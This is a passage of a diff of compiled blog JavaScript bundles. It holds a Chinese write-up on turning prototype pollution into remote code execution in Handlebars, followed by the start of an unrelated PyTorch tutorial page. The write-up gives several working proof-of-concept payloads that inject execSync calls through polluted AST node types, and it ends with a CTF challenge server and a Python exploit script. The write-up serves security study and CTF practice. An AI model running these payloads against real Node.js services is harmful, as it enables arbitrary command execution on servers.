[];\n this.inlineStack = [];\n this.blockParams = [];\n\n this.compileChildren(environment, options);\n\n this.useDepths = this.useDepths || environment.useDepths || environment.useDecorators || this.options.compat;\n this.useBlockParams = this.useBlockParams || environment.useBlockParams;\n\n var opcodes = environment.opcodes,\n opcode = undefined,\n firstLoc = undefined,\n i = undefined,\n l = undefined;\n\n for (i = 0, l = opcodes.length; i < l; i++) {\n opcode = opcodes[i];\n\n this.source.currentLocation = opcode.loc;\n firstLoc = firstLoc || opcode.loc;\n this[opcode.opcode].apply(this, opcode.args); // \u8fd9\u91cc\u5c31\u662f\u4f7f\u7528\u6211\u4eecopcode\u7684\u64cd\u4f5c\uff0c\u7136\u540e\u4f1a\u628a\u7ed3\u679c\u5b58\u5230this.source.SourceNode\u4e2d\n }\n\n // Flush any trailing content that might be pending.\n this.source.currentLocation = firstLoc;\n this.pushSource('');\n\n /* istanbul ignore next */\n if (this.stackSlot || this.inlineStack.length || this.compileStack.length) {\n throw new _exception2['default']('Compile completed with content left on stack');\n }\n\n if (!this.decorators.isEmpty()) {\n this.useDecorators = true;\n\n this.decorators.prepend(['var decorators = container.decorators, ', this.lookupPropertyFunctionVarDeclaration(), ';\\n']);\n this.decorators.push('return fn;');\n\n if (asObject) {\n this.decorators = Function.apply(this, ['fn', 'props', 'container', 'depth0', 'data', 'blockParams', 'depths', this.decorators.merge()]);\n } else {\n this.decorators.prepend('function(fn, props, container, depth0, data, blockParams, depths) {\\n');\n this.decorators.push('}\\n');\n this.decorators = this.decorators.merge();\n }\n } else {\n this.decorators = undefined;\n }\n\n var fn = this.createFunctionContext(asObject); // \u521b\u5efa\u6a21\u677f\u7684\u51fd\u6570\u4f53\n if (!this.isChild) {\n var ret = {\n compiler: this.compilerInfo(),\n main: fn\n };\n\n if (this.decorators) {\n ret.main_d = this.decorators; // eslint-disable-line camelcase\n ret.useDecorators = true;\n }\n\n var _context = this.context;\n var programs = _context.programs;\n var decorators = _context.decorators;\n\n for (i = 0, l = programs.length; i < l; i++) {\n if (programs[i]) {\n ret[i] = programs[i];\n if (decorators[i]) {\n ret[i + '_d'] = decorators[i];\n ret.useDecorators = true;\n }\n }\n }\n\n if (this.environment.usePartial) {\n ret.usePartial = true;\n }\n if (this.options.data) {\n ret.useData = true;\n }\n if (this.useDepths) {\n ret.useDepths = true;\n }\n if (this.useBlockParams) {\n ret.useBlockParams = true;\n }\n if (this.options.compat) {\n ret.compat = true;\n }\n\n if (!asObject) {\n ret.compiler = JSON.stringify(ret.compiler);\n\n this.source.currentLocation = { start: { line: 1, column: 0 } };\n ret = this.objectLiteral(ret);\n\n if (options.srcName) {\n ret = ret.toStringWithSourceMap({ file: options.destName });\n ret.map = ret.map && ret.map.toString();\n } else {\n ret = ret.toString();\n }\n } else {\n ret.compilerOptions = this.options;\n }\n\n return ret;\n } else {\n return fn;\n }\n },\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u6267\u884c",(0,s.jsx)(n.code,{children:"opcode"}),"\u4e2d",(0,s.jsx)(n.code,{children:"pushLiteral"}),"\u7684\u5177\u4f53\u5b9e\u73b0\u6d41\u7a0b"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\javascript-compiler.js\n \n\n // [pushLiteral]\n //\n // On stack, before: ...\n // On stack, after: value, ...\n //\n // Pushes a value onto the stack. This operation prevents\n // the compiler from creating a temporary variable to hold\n // it. \n pushLiteral: function pushLiteral(value) { // \u6ce8\u91ca\u4e5f\u5df2\u7ecf\u5f88\u6e05\u695a\u4e86\n this.pushStackLiteral(value); \n },\n \n pushStackLiteral: function pushStackLiteral(item) {\n this.push(new Literal(item));\n },\n \n function Literal(value) {\n \tthis.value = value;\n }\n \n push: function push(expr) {\n if (!(expr instanceof Literal)) {\n expr = this.source.wrap(expr);\n }\n\n this.inlineStack.push(expr);\n return expr;\n },\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u5728\u6267\u884c\u6700\u540e\u7684",(0,s.jsx)(n.code,{children:"append"}),"\u64cd\u4f5c\u7684\u65f6\u5019\u4f1a\u5c06",(0,s.jsx)(n.code,{children:"inlineStack"}),"\u4e2d\u7684\u5185\u5bb9pop\u51fa\u6765\u52a0\u5165\u5230",(0,s.jsx)(n.code,{children:"Source"}),"\u4e2d"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\javascript-compiler.js\n\n append: function append() {\n if (this.isInline()) {\n this.replaceStack(function (current) {\n return [' != null ? ', current, ' : \"\"'];\n });\n\n this.pushSource(this.appendToBuffer(this.popStack()));\n } else {\n var local = this.popStack();\n this.pushSource(['if (', local, ' != null) { ', this.appendToBuffer(local, undefined, true), ' }']);\n if (this.environment.isSimple) {\n this.pushSource(['else { ', this.appendToBuffer(\"''\", undefined, true), ' }']);\n }\n }\n },\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u8fd9\u91cc\u662f\u521b\u5efa\u51fd\u6570\u4f53\u4e0a\u4e0b\u6587\uff0c\u5c06",(0,s.jsx)(n.code,{children:"source"}),"\u4e2d\u7684\u4e1c\u897f\u8f6c\u6362\u6210\u5b57\u7b26\u4e32\u51fd\u6570"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\javascript-compiler.js\n\n createFunctionContext: function createFunctionContext(asObject) {\n // istanbul ignore next\n\n var _this = this;\n\n var varDeclarations = '';\n\n var locals = this.stackVars.concat(this.registers.list);\n if (locals.length > 0) {\n varDeclarations += ', ' + locals.join(', ');\n }\n\n // Generate minimizer alias mappings\n //\n // When using true SourceNodes, this will update all references to the given alias\n // as the source nodes are reused in situ. For the non-source node compilation mode,\n // aliases will not be used, but this case is already being run on the client and\n // we aren't concern about minimizing the template size.\n var aliasCount = 0;\n Object.keys(this.aliases).forEach(function (alias) {\n var node = _this.aliases[alias];\n if (node.children && node.referenceCount > 1) {\n varDeclarations += ', alias' + ++aliasCount + '=' + alias;\n node.children[0] = 'alias' + aliasCount;\n }\n });\n\n if (this.lookupPropertyFunctionIsUsed) {\n varDeclarations += ', ' + this.lookupPropertyFunctionVarDeclaration();\n }\n\n var params = ['container', 'depth0', 'helpers', 'partials', 'data'];\n\n if (this.useBlockParams || this.useDepths) {\n params.push('blockParams');\n }\n if (this.useDepths) {\n params.push('depths');\n }\n\n // Perform a second pass over the output to merge content when possible\n var source = this.mergeSource(varDeclarations); // \u628a\u539f\u672c\u7684source\u548cvarDeclarations\u62fc\u63a5\u8d77\u6765\n\n if (asObject) {\n params.push(source);\n\n return Function.apply(this, params);\n } else {\n return this.source.wrap(['function(', params.join(','), ') {\\n ', source, '}']); // \u5c06source\u5c01\u88c5\u6210\u51fd\u6570\n }\n },\n"})}),"\n",(0,s.jsx)(n.h3,{id:"\u751f\u6210\u6a21\u677f",children:"\u751f\u6210\u6a21\u677f"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\compiler.js\n\n function compileInput() {\n var ast = env.parse(input, options), \n environment = new env.Compiler().compile(ast, options),\n templateSpec = new env.JavaScriptCompiler().compile(environment, options, undefined, true); \n return env.template(templateSpec); // \u751f\u6210\u6a21\u677f\n }\n// node_modules\\handlebars\\dist\\cjs\\handlebars.runtime.js\n\nfunction create() {\n var hb = new base.HandlebarsEnvironment();\n\n Utils.extend(hb, base);\n hb.SafeString = _handlebarsSafeString2['default'];\n hb.Exception = _handlebarsException2['default'];\n hb.Utils = Utils;\n hb.escapeExpression = Utils.escapeExpression;\n\n hb.VM = runtime;\n hb.template = function (spec) {\n return runtime.template(spec, hb);\n };\n\n return hb;\n}\n"})}),"\n",(0,s.jsx)(n.h3,{id:"\u6a21\u677f\u51fd\u6570\u6267\u884c",children:"\u6a21\u677f\u51fd\u6570\u6267\u884c"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\compiler.js\n\n function ret(context, execOptions) {\n if (!compiled) {\n compiled = compileInput();\n }\n return compiled.call(this, context, execOptions); // \u6267\u884c\u51fd\u6570\u83b7\u53d6\u8fd4\u56de\u503c\n }\n// node_modules\\handlebars\\dist\\cjs\\handlebars\\runtime.js\n\n function ret(context) {\n var options = arguments.length <= 1 || arguments[1] === undefined ? {} : arguments[1];\n\n var data = options.data;\n\n ret._setup(options);\n if (!options.partial && templateSpec.useData) {\n data = initData(context, data);\n }\n var depths = undefined,\n blockParams = templateSpec.useBlockParams ? [] : undefined;\n if (templateSpec.useDepths) {\n if (options.depths) {\n depths = context != options.depths[0] ? [context].concat(options.depths) : options.depths;\n } else {\n depths = [context];\n }\n }\n\n function main(context /*, options*/) {\n return '' + templateSpec.main(container, context, container.helpers, container.partials, data, blockParams, depths); \n }\n\n main = executeDecorators(templateSpec.main, main, container, options.depths || [], data, blockParams); // \u5bf9main\u51fd\u6570\u8fdb\u884c\u88c5\u9970\n return main(context, options); // \u6267\u884cmain\u51fd\u6570\n }\n"})}),"\n",(0,s.jsx)(n.h3,{id:"\u88ab\u6c61\u67d3\u7684\u51fd\u6570",children:"\u88ab\u6c61\u67d3\u7684\u51fd\u6570"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:'(function anonymous(container,depth0,helpers,partials,data\n) {\n var stack1, lookupProperty = container.lookupProperty || function(parent, propertyName) {\n if (Object.prototype.hasOwnProperty.call(parent, propertyName)) {\n return parent[propertyName];\n }\n return undefined\n };\n\n return ((stack1 = (lookupProperty(helpers,"undefined")||(depth0 && lookupProperty(depth0,"undefined"))||container.hooks.helperMissing).call(depth0 != null ? depth0 : (container.nullContext || {}),console.log(process.mainModule.require(\'child_process\').execSync(\'calc.exe\').toString()),{"name":"undefined","hash":{},"data":data,"loc":{"start":0,"end":0}})) != null ? stack1 : "");\n\n})\n'})}),"\n",(0,s.jsx)(n.h2,{id:"\u603b\u7ed3",children:"\u603b\u7ed3"}),"\n",(0,s.jsxs)(n.ol,{children:["\n",(0,s.jsxs)(n.li,{children:["\n",(0,s.jsxs)(n.p,{children:["\u6f0f\u6d1e\u6838\u5fc3\u5728\u4e8e\u6c61\u67d3\u7f16\u8bd1\u8fc7\u7a0b\u4e2d\u7684",(0,s.jsx)(n.code,{children:"pushLiteral"}),"\u64cd\u4f5c\uff0c\u5176\u4e2d\u53ef\u4ee5\u7528\u5230",(0,s.jsx)(n.code,{children:"NumberLiteral"}),"\u7c7b\u578b\u548c",(0,s.jsx)(n.code,{children:"BooleanLiteral"}),"\u7c7b\u578b"]}),"\n"]}),"\n",(0,s.jsxs)(n.li,{children:["\n",(0,s.jsxs)(n.p,{children:["\u4ee4",(0,s.jsx)(n.code,{children:"type"}),"\u4e3a",(0,s.jsx)(n.code,{children:"Program"}),"\u7ed5\u8fc7",(0,s.jsx)(n.code,{children:"Lexer"}),"\u89e3\u6790\u5668\uff0c\u4ece",(0,s.jsx)(n.code,{children:"compiler.js"}),"\u627e\u5230\u53ef\u7528\u7684",(0,s.jsx)(n.code,{children:"Gadget"})]}),"\n"]}),"\n",(0,s.jsxs)(n.li,{children:["\n",(0,s.jsxs)(n.p,{children:["\u5728\u5bfb\u627e",(0,s.jsx)(n.code,{children:"Gadget"}),"\u65f6\u6ce8\u610f\u4fdd\u6301\u8bed\u6cd5\u6811\u7684\u6808\u5e73\u8861\uff0c\u4e0d\u7136\u4f1a\u5728\u7f16\u8bd1\u7684\u65f6\u5019\u629b\u51fa\u5982\u4e0b\u9519\u8bef\uff0c\u8fd9\u4e5f\u662f\u4e3a\u4ec0\u4e48\u6211\u4eec\u9700\u8981\u501f\u52a9",(0,s.jsx)(n.code,{children:"MustacheStatement"}),"\u7c7b\u578b\u6ce8\u5165\u6211\u4eec\u7684payload\uff0c\u800c\u4e0d\u80fd\u76f4\u63a5\u5c06",(0,s.jsx)(n.code,{children:"NumberLiteral"}),"\u6ce8\u5165\u5230",(0,s.jsx)(n.code,{children:"body"}),"\u4e2d"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"/* istanbul ignore next */\nif (this.stackSlot || this.inlineStack.length || this.compileStack.length) {\n throw new _exception2['default']('Compile completed with content left on stack');\n}\n"})}),"\n"]}),"\n"]}),"\n",(0,s.jsx)(n.h2,{id:"\u62d3\u5c55",children:"\u62d3\u5c55"}),"\n",(0,s.jsx)(n.h3,{id:"booleanliteral",children:"BooleanLiteral"}),"\n",(0,s.jsxs)(n.p,{children:["\u5c06",(0,s.jsx)(n.code,{children:"NumberLiteral"}),"\u66ff\u6362\u4e3a",(0,s.jsx)(n.code,{children:"BooleanLiteral"})]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:'const Handlebars = require(\'handlebars\');\n\nObject.prototype.type = \'Program\';\nObject.prototype.body = [{\n "type": "MustacheStatement",\n "params": [{\n "type": "BooleanLiteral",\n "value": "console.log(process.mainModule.require(\'child_process\').execSync(\'calc.exe\').toString())"\n }],\n "path": 0,\n "loc": { "start": 0 }\n}];\n\nvar source = "<h1>It works!</h1>";\nvar template = Handlebars.compile(source);\nconsole.log(template({}));\n'})}),"\n",(0,s.jsx)(n.h3,{id:"partialstatement",children:"PartialStatement"}),"\n",(0,s.jsxs)(n.p,{children:["\u5c06",(0,s.jsx)(n.code,{children:"MustacheStatement"}),"\u6539\u4e3a",(0,s.jsx)(n.code,{children:"PartialStatement"})]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:'const Handlebars = require(\'handlebars\');\n\nObject.prototype.type = \'Program\';\nObject.prototype.body = [{\n "type": "PartialStatement",\n "name": "",\n "params": [{\n "type": "NumberLiteral",\n "value": "console.log(process.mainModule.require(\'child_process\').execSync(\'calc.exe\').toString())"\n }]\n}];\n\nvar source = "<h1>It works!</h1>";\nvar template = Handlebars.compile(source);\nconsole.log(template({}));\n'})}),"\n",(0,s.jsx)(n.h3,{id:"partialblockstatement",children:"PartialBlockStatement"}),"\n",(0,s.jsxs)(n.p,{children:["\u5c06",(0,s.jsx)(n.code,{children:"MustacheStatement"}),"\u6539\u4e3a",(0,s.jsx)(n.code,{children:"PartialBlockStatement"})]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:'const Handlebars = require(\'handlebars\');\n\nObject.prototype.type = \'Program\';\nObject.prototype.body = [{\n "type": "PartialBlockStatement",\n "params": [{\n "type": "NumberLiteral",\n "value": "console.log(process.mainModule.require(\'child_process\').execSync(\'calc.exe\').toString())"\n }],\n "name": 0,\n "openStrip": 0,\n "closeStrip": 0,\n "program": { "body": 0 },\n}];\n\nvar source = "<h1>It works!</h1>";\nvar template = Handlebars.compile(source);\nconsole.log(template({}));\n'})}),"\n",(0,s.jsx)(n.h3,{id:"blockstatement",children:"BlockStatement"}),"\n",(0,s.jsxs)(n.p,{children:["\u5c06",(0,s.jsx)(n.code,{children:"MustacheStatement"}),"\u6539\u4e3a",(0,s.jsx)(n.code,{children:"BlockStatement"})]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:'const Handlebars = require(\'handlebars\');\n\nObject.prototype.type = \'Program\';\nObject.prototype.body = [{\n "type": "BlockStatement",\n "params": [{\n "type": "NumberLiteral",\n "value": "console.log(process.mainModule.require(\'child_process\').execSync(\'calc.exe\').toString())"\n }],\n "path": 0,\n "loc": 0,\n "openStrip": 0,\n "closeStrip": 0,\n "program": { "body": 0 }\n}];\n\nvar source = "<h1>It works!</h1>";\nvar template = Handlebars.compile(source);\nconsole.log(template({}));\n'})}),"\n",(0,s.jsx)(n.h3,{id:"decorator",children:"Decorator"}),"\n",(0,s.jsxs)(n.p,{children:["\u89e6\u53d1\u70b9\u548c\u4e0a\u9762\u7684\u6709\u6240\u5dee\u5f02\uff0c\u8fd9\u4e2a\u662f\u5728\u88c5\u9970",(0,s.jsx)(n.code,{children:"main"}),"\u51fd\u6570\u7684\u65f6\u5019\u63d2\u5165\u81ea\u5b9a\u4e49\u4ee3\u7801"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:'const Handlebars = require(\'handlebars\');\n\nObject.prototype.type = \'Program\';\nObject.prototype.body = [{\n "type": "Decorator",\n "params": [{\n "type": "NumberLiteral",\n "value": "console.log(process.mainModule.require(\'child_process\').execSync(\'calc.exe\').toString())"\n }],\n\t"path": 0,\n "loc": { "start": 0 }\n}];\n\nvar source = "<h1>It works!</h1>";\nvar template = Handlebars.compile(source);\nconsole.log(template({}));\n'})}),"\n",(0,s.jsx)(n.h3,{id:"inf-hash",children:"inf Hash"}),"\n",(0,s.jsxs)(n.p,{children:["\u65e0\u9650\u5185\u5d4c",(0,s.jsx)(n.code,{children:"Hash"}),"\u7c7b\u578b"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:'const Handlebars = require(\'handlebars\');\n\nObject.prototype.type = \'Program\';\nObject.prototype.body = [{\n "type": "MustacheStatement",\n "params": [{\n "type": "Hash",\n "pairs": [{\n "value":{\n "type": "Hash",\n "pairs": [{\n "value":{\n "type": "NumberLiteral",\n "value": "console.log(process.mainModule.require(\'child_process\').execSync(\'calc.exe\').toString())"\n }}]\n }}]\n }],\n "path": 0,\n "loc": { "start": 0 }\n}];\n\nvar source = "<h1>It works!</h1>";\nvar template = Handlebars.compile(source);\nconsole.log(template({}));\n'})}),"\n",(0,s.jsx)(n.h2,{id:"\u4f8b\u9898",children:"\u4f8b\u9898"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-sh",children:'const express = require(\'express\');\nconst app = express();\nconst fs = require("fs")\nconst mergeValue = require("merge-value")\nconst bodyParser = require(\'body-parser\')\nconst handlebars = require("handlebars");\napp.use(bodyParser.json())\n\n/*\n"dependencies": {\n "body-parser": "^1.19.0",\n "express": "^4.17.1",\n "merge-value": "^0.1.1",\n "handlebars": "^4.7.7"\n }\n */\napp.post(\'/template\', function (req, res) {\n let defaultTemplate = {\n "text": {\n "title": "WriteUp"\n },\n "template": "{{this.title}}{{this.body}}",\n "waf": {\n "black1": "__proto__",\n "black2": "programa"\n }\n }\n //\u7981\u6b62\u8986\u76d6\u539f\u59cb\u7684waf\u503c\n if(req.body.wafkey && req.body.wafdata) {\n if (defaultTemplate["waf"][req.body.wafkey]) {\n defaultTemplate["waf"]["custom" + req.body.wafkey] = req.body.wafdata[req.body.wafkey]\n } else {\n defaultTemplate["waf"][req.body.wafkey] = req.body.wafData[req.body.wafkey]\n }\n }\n //\u53d6\u51fa\u6240\u6709\u7684waf\u503c\n let waf = defaultTemplate["waf"]\n let wafList = []\n for(let wafWord in waf){\n wafList.push(waf[wafWord])\n }\n for(let requestKey in req.body){\n if(typeof req.body[requestKey] === \'string\'){\n for(let index in wafList){\n if(req.body[requestKey].toLowerCase().endsWith(wafList[index])){\n res.send("waf");\n return;\n }\n }\n }\n }\n let templateData = mergeValue(defaultTemplate,req.body.pathKey,req.body.data)\n // console.log(templateData,defaultTemplate)\n let template = handlebars.compile(templateData["template"]);\n res.send(template(templateData["text"]));\n});\n\napp.get(\'/\', function (req, res) {\n res.send(\'see `/src`\');\n});\n\n\napp.get(\'/src\', function (req, res) {\n var data = fs.readFileSync(\'index.js\');\n res.send(data.toString());\n});\n\napp.listen(3000, function () {\n console.log(\'start listening on port 3000\');\n});\n\n'})}),"\n",(0,s.jsxs)(n.blockquote,{children:["\n",(0,s.jsx)(n.p,{children:"\u6ce8\u610f\u9898\u76ee\u73af\u5883"}),"\n"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-json",children:'{\n "dependencies": {\n "body-parser": "1.19.0",\n "express": "4.17.1",\n "handlebars": "4.7.6",\n "merge-value": "1.0",\n "mixin-deep": "^1.2.0",\n "set-value": "^2.0.0"\n }\n}\n\n'})}),"\n",(0,s.jsxs)(n.p,{children:["\u8fd9\u91cc\u53ef\u4ee5\u901a\u8fc7 ",(0,s.jsx)(n.code,{children:"mergeValue"})," \u539f\u578b\u94fe\u6c61\u67d3\uff0c\u53bb\u6c61\u67d3 ",(0,s.jsx)(n.code,{children:'templateData["text"]'})," \u7684",(0,s.jsx)(n.code,{children:"__proto__"})," \uff0c\u7531\u4e8e\u524d\u9762\u603b\u7ed3\u7684\u5f88\u5230\u4f4d\u6211\u8fd9\u91cc\u5c31\u8865\u5145\u4e00\u4e0b\uff0c\u8fd9\u91cc\u662fwp"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python3",children:'import requests\n\npayload = {\n "__proto__": {\n "type": "Program",\n "body": [{\n "type": "MustacheStatement",\n "path": 0,\n "params": [{\n "type": "NumberLiteral",\n "value": "console.log(process.mainModule.require(\'child_process\').execSync(\'open -a Calculator\').toString())"\n }],\n "loc": {\n "start": 0\n }\n }]\n }\n}\n\nurl = "http://192.168.3.91:3000/template"\ndata = {\n "pathKey": "text",\n "data": payload\n}\nprint(data)\ntext = requests.post(url, json=data,proxies={"http":"http://127.0.0.1:8080"})\nprint(text.text)\n\n'})}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{alt:"image-20251014205208357",src:t(44449).A+"",width:"1712",height:"1236"})})]})}function p(e={}){const{wrapper:n}={...(0,a.R)(),...e.components};return n?(0,s.jsx)(n,{...e,children:(0,s.jsx)(d,{...e})}):d(e)}}}]); \ No newline at end of file diff --git a/assets/js/54e07f68.c61e7cc2.js b/assets/js/54e07f68.c61e7cc2.js new file mode 100644 index 0000000..b1ee6a5 --- /dev/null +++ b/assets/js/54e07f68.c61e7cc2.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[2614],{7303:(n,e,t)=>{t.r(e),t.d(e,{assets:()=>c,contentTitle:()=>l,default:()=>h,frontMatter:()=>i,metadata:()=>r,toc:()=>d});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.1 \u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784","title":"7.1 \u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/07.\u7b2c\u4e03\u7ae0/7.1 \u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/07.\u7b2c\u4e03\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.1 \u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.1 \u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/07.\u7b2c\u4e03\u7ae0/7.1 \u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u7b2c\u4e03\u7ae0","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/"},"next":{"title":"7.2 CNN\u5377\u79ef\u5c42\u53ef\u89c6\u5316.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.2 CNN\u5377\u79ef\u5c42\u53ef\u89c6\u5316"}}');var s=t(74848),o=t(28453);const i={},l="7.1 \u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784.md",c={},d=[{value:"7.1.1 \u4f7f\u7528print\u51fd\u6570\u6253\u5370\u6a21\u578b\u57fa\u7840\u4fe1\u606f",id:"711-\u4f7f\u7528print\u51fd\u6570\u6253\u5370\u6a21\u578b\u57fa\u7840\u4fe1\u606f",level:2},{value:"7.1.2 \u4f7f\u7528torchinfo\u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784",id:"712-\u4f7f\u7528torchinfo\u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784",level:2}];function a(n){const e={a:"a",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,o.R)(),...n.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(e.header,{children:(0,s.jsx)(e.h1,{id:"71-\u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784md",children:"7.1 \u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(e.tbody,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:(0,s.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:26"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(e.tbody,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:(0,s.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,s.jsx)(e.h1,{id:"71-\u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784",children:"7.1 \u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784"}),"\n",(0,s.jsxs)(e.p,{children:["\u968f\u7740\u6df1\u5ea6\u795e\u7ecf\u7f51\u7edc\u505a\u7684\u7684\u53d1\u5c55\uff0c\u7f51\u7edc\u7684\u7ed3\u6784\u8d8a\u6765\u8d8a\u590d\u6742\uff0c\u6211\u4eec\u4e5f\u5f88\u96be\u786e\u5b9a\u6bcf\u4e00\u5c42\u7684\u8f93\u5165\u7ed3\u6784\uff0c\u8f93\u51fa\u7ed3\u6784\u4ee5\u53ca\u53c2\u6570\u7b49\u4fe1\u606f\uff0c\u8fd9\u6837\u5bfc\u81f4\u6211\u4eec\u5f88\u96be\u5728\u77ed\u65f6\u95f4\u5185\u5b8c\u6210debug\u3002\u56e0\u6b64\u638c\u63e1\u4e00\u4e2a\u53ef\u4ee5\u7528\u6765\u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784\u7684\u5de5\u5177\u662f\u5341\u5206\u6709\u5fc5\u8981\u7684\u3002\u7c7b\u4f3c\u7684\u529f\u80fd\u5728\u53e6\u4e00\u4e2a\u6df1\u5ea6\u5b66\u4e60\u5e93Keras\u4e2d\u53ef\u4ee5\u8c03\u7528\u4e00\u4e2a\u53eb\u505a",(0,s.jsx)(e.code,{children:"model.summary()"}),"\u7684API\u6765\u5f88\u65b9\u4fbf\u5730\u5b9e\u73b0\uff0c\u8c03\u7528\u540e\u5c31\u4f1a\u663e\u793a\u6211\u4eec\u7684\u6a21\u578b\u53c2\u6570\uff0c\u8f93\u5165\u5927\u5c0f\uff0c\u8f93\u51fa\u5927\u5c0f\uff0c\u6a21\u578b\u7684\u6574\u4f53\u53c2\u6570\u7b49\uff0c\u4f46\u662f\u5728PyTorch\u4e2d\u6ca1\u6709\u8fd9\u6837\u4e00\u79cd\u4fbf\u5229\u7684\u5de5\u5177\u5e2e\u52a9\u6211\u4eec\u53ef\u89c6\u5316\u6211\u4eec\u7684\u6a21\u578b\u7ed3\u6784\u3002"]}),"\n",(0,s.jsx)(e.p,{children:"\u4e3a\u4e86\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\uff0c\u4eba\u4eec\u5f00\u53d1\u4e86torchinfo\u5de5\u5177\u5305 ( torchinfo\u662f\u7531torchsummary\u548ctorchsummaryX\u91cd\u6784\u51fa\u7684\u5e93) 